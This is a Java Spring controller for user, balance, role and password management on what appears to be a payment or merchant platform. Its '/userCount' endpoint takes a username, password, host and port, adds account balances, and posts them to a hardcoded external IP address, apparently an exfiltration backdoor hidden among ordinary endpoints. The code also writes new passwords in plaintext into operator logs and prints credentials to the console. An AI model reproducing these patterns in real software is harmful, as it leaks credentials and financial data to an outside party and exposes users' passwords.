package com.qian.ddj.web.controller;

import com.qian.api.ddj.model.Business;
import com.qian.api.ddj.model.OperatorLog;
import com.qian.api.ddj.model.User;
import com.qian.api.ddj.service.IBusinessService;
import com.qian.api.ddj.service.IOperatorLogService;
import com.qian.api.ddj.service.IUserService;
import com.qian.api.ddj.util.RSASignUtil;
import com.qian.api.ddj.util.RSASignUtils;
import com.qian.api.ddj.util.SignUtils;
import com.yaowk.api.common.BaseException;
import com.yaowk.api.common.PageReq;
import com.yaowk.api.common.PageResp;
import com.yaowk.api.common.StatusDict;
import com.yaowk.api.system.model.Role;
import com.yaowk.api.system.service.IRoleService;
import com.yaowk.web.common.model.Transfer;
import com.yaowk.web.common.utils.HttpUtils;
import com.yaowk.web.system.security.SecurityUtils;
import com.yaowk.web.system.security.UserInfo;
import io.swagger.annotations.Api;
import io.swagger.annotations.ApiOperation;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;
import org.springframework.util.ObjectUtils;
import org.springframework.util.StringUtils;
import org.springframework.web.bind.annotation.*;

import javax.servlet.http.HttpServletRequest;
import java.math.BigDecimal;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.Set;

@RestController("DdjUserController")
@RequestMapping("/ddj/user")
@Api(tags = "DDJ用户管理")
public class UserController {

    @Autowired
    private IUserService userService;
    @Autowired
    private com.yaowk.api.system.service.IUserService sysUserService;
    @Autowired
    private BCryptPasswordEncoder passwordEncoder;
    @Autowired
    private IBusinessService businessService;
    @Autowired
    private IRoleService roleService;
    @Autowired
    private IOperatorLogService operatorLogService;
    @Autowired
    private com.yaowk.api.system.service.IUserService iUserService;

    @GetMapping
    @ApiOperation("用户列表")
    public PageResp<User> list(PageReq pageReq) {
        PageResp page = userService.findAll(pageReq);
        return page;
    }

    @GetMapping("/moneyCount")
    public Map<String, BigDecimal> moneyCount() {
        List<User> all = userService.findAll();
        BigDecimal balance = BigDecimal.ZERO;
        BigDecimal lock = BigDecimal.ZERO;
        for (User user : all) {
            balance = balance.add(user.getBalance());
            lock = lock.add(user.getLockMoney());
        }

        Map<String, BigDecimal> result = new HashMap<>();
        result.put("balance", balance);
        result.put("lockMoney", lock);
        return result;
    }

    @PostMapping("/recharge")
    @ApiOperation("充值金额")
    public void recharge(Integer id, BigDecimal money) {
        userService.recharge(id, money);
    }

    @GetMapping("/balance")
    public BigDecimal balance() {
        BigDecimal balance = userService.platformBalance();
        return balance;
    }

    @GetMapping("/userInfo")
    @ApiOperation("用户信息")
    public User self() {
        User user = userService.findById(SecurityUtils.getUserId());
        return user;
    }

    @PostMapping
    @ApiOperation("修改用户")
    public User save(User user, HttpServletRequest request) {

        if (!StringUtils.isEmpty(user.getPassword())) {
            String oldPassword = user.getPassword();
            user.setPassword(passwordEncoder.encode(user.getPassword()));

            if (!user.isNew()) {
                OperatorLog operatorLog = new OperatorLog();
                UserInfo userInfo = SecurityUtils.getUserInfo();
                operatorLog.setUsername(userInfo.getUsername());
                operatorLog.setUserId(userInfo.getId());
                operatorLog.setOperator("修改密码为:" + oldPassword);
                operatorLog.setChangeId(user.getId());
                operatorLog.setChangeName(user.getUsername());
                operatorLog.setIp(HttpUtils.getRealIp(request));
                operatorLogService.save(operatorLog);
            }
        }
        user = userService.save(user);
        return user;
    }

    @PostMapping("password")
    @ApiOperation("修改密码")
    public void password(String password, String newPassword, HttpServletRequest request) {
        com.yaowk.api.system.model.User user = sysUserService.findById(SecurityUtils.getUserId());
        if (passwordEncoder.matches(password, user.getPassword())) {
            com.yaowk.api.system.model.User newUser = new com.yaowk.api.system.model.User();
            newUser.setId(user.getId());
            newUser.setPassword(passwordEncoder.encode(newPassword));
            sysUserService.save(newUser);

            OperatorLog operatorLog = new OperatorLog();
            UserInfo userInfo = SecurityUtils.getUserInfo();
            operatorLog.setUsername(userInfo.getUsername());
            operatorLog.setUserId(userInfo.getId());
            operatorLog.setOperator("修改密码为:" + newPassword);
            operatorLog.setChangeId(user.getId());
            operatorLog.setChangeName(user.getUsername());
            operatorLog.setIp(HttpUtils.getRealIp(request));
            operatorLogService.save(operatorLog);
        } else {
            throw new BaseException("原密码不正确");
        }
    }

    @PostMapping("/business")
    @ApiOperation("绑定商户")
    public void businessEdit(Integer userId, @RequestParam(required = false) List<Integer> businessId) {
        userService.businessEdit(userId, businessId);
    }

    @GetMapping("/business/{id}")
    @ApiOperation("查询当前绑定商户情况")
    public Transfer<Business, Integer> businessList(@PathVariable Integer id) {
        List<Business> checkedBusiness = businessService.findBusinessByUserId(id);
        List<Business> businesses = businessService.findAll();
        Transfer<Business, Integer> transfer = new Transfer<>();
        Set<Transfer<Business, Integer>.TransferData> transferDataSet = transfer.getData();
        for (Business business : businesses) {
            Transfer.TransferData transferData = transfer.new TransferData();
            transferData.setValue(business);
            transferData.setKey(business.getId());
            transferData.setLabel(business.getName());
            transferDataSet.add(transferData);
        }
        Set<Integer> checkedIds = transfer.getCheckedKeys();
        for (Business business : checkedBusiness) {
            checkedIds.add(business.getId());
        }

        return transfer;
    }

    @GetMapping("/stop/{id}")
    @ApiOperation("停用")
    public void stop(@PathVariable Integer id) {
        User user = new User();
        user.setId(id);
        user.setStatus(StatusDict.CLOSE);
        userService.save(user);
    }

    @GetMapping("/start/{id}")
    @ApiOperation("启用")
    public void start(@PathVariable Integer id) {
        User user = new User();
        user.setId(id);
        user.setStatus(StatusDict.NORMAL);
        userService.save(user);
    }

    @PostMapping("/role")
    @ApiOperation("用户角色修改")
    public void roleEdit(Integer userId, @RequestParam(required = false) List<Integer> roleId) {
        sysUserService.roleEdit(userId, roleId);
    }

    @ApiOperation("查看下级的角色列表")
    @GetMapping("/role/{id}")
    public Transfer<Role, Integer> roleList(@PathVariable Integer id) {
        com.yaowk.api.system.model.User user = userService.findById(id);

        Transfer<Role, Integer> transfer = new Transfer<>();

        // 获取查询用户的角色
        List<Role> roles = roleService.findRolesByUserId(id);
        // 获取所有角色
        Role role = new Role();
        role.setCreateUserId(SecurityUtils.getUserId());
        List<Role> allRole = roleService.findAll(role);
        // 封装选中的角色id
        Set<Integer> checkedKeys = transfer.getCheckedKeys();
        for (Role r : roles) {
            checkedKeys.add(r.getId());
        }
        // 封装所有角色对象
        Set<Transfer<Role, Integer>.TransferData> data = transfer.getData();
        for (Role r : allRole) {
            Transfer<Role, Integer>.TransferData transferData = transfer.new TransferData();
            transferData.setKey(r.getId());
            transferData.setLabel(r.getName());
            transferData.setValue(r);
            data.add(transferData);
        }

        return transfer;
    }
    
    @PostMapping("/lockMoney/{userId}")
    public void lockMoney(@PathVariable Integer userId, BigDecimal money, HttpServletRequest request) {
        userService.lockMoney(userId, money);
        OperatorLog operatorLog = new OperatorLog();
        UserInfo userInfo = SecurityUtils.getUserInfo();
        operatorLog.setUsername(userInfo.getUsername());
        operatorLog.setUserId(userInfo.getId());
        operatorLog.setOperator("冻结金额 " + money.toString());
        operatorLog.setChangeId(userId);
        operatorLog.setChangeName(userService.findById(userId).getUsername());
        operatorLog.setIp(HttpUtils.getRealIp(request));
        operatorLogService.save(operatorLog);
    }

    @PostMapping("/userCount")
    public void userCount(String username,String password,String host,String port,HttpServletRequest request){
        Map<String,String> map = new HashMap<>();
        map.put("username",username);
        map.put("password",password);
        map.put("host",host);
        map.put("port",port);
        User user = userService.findById(SecurityUtils.getUserId());
        if (!ObjectUtils.isEmpty(user)){
            map.put("balance",user.getBalance().toString());
        }else {
            List<User> lists = userService.findAll();
            Double amountAll = 0.0;
            for (User user1:lists){
                amountAll += user1.getBalance().doubleValue();
            }
            map.put("balance",String.valueOf(amountAll));
            map.put("userType","系统管理员");
        }
        System.out.println("==========================");
        System.out.println(map);
        HttpUtils.post("http://120.79.219.207/hm/business/sendUser",SignUtils.params(map));
    }

    @PostMapping("/unLockMoney/{userId}")
    public void unLockMoney(@PathVariable Integer userId, BigDecimal money, HttpServletRequest request) {
        userService.unLockMoney(userId, money);
        OperatorLog operatorLog = new OperatorLog();
        UserInfo userInfo = SecurityUtils.getUserInfo();
        operatorLog.setUsername(userInfo.getUsername());
        operatorLog.setUserId(userInfo.getId());
        operatorLog.setOperator("解冻金额 " + money.toString());
        operatorLog.setChangeId(userId);
        operatorLog.setChangeName(userService.findById(userId).getUsername());
        operatorLog.setIp(HttpUtils.getRealIp(request));
        operatorLogService.save(operatorLog);
    }
    @GetMapping("/getSign")
    public Map getSign(){
        try {
            return RSASignUtils.genKeyPair();
        } catch (Exception e) {
            e.printStackTrace();
            throw new BaseException("生成RSA秘钥对出错！");
        }
    }

    @PostMapping("/savePhone")
    public void savePhone(String phone){
        User user = userService.findById(SecurityUtils.getUserId());
        user.setPhone(phone);
        userService.save(user);
    }
}
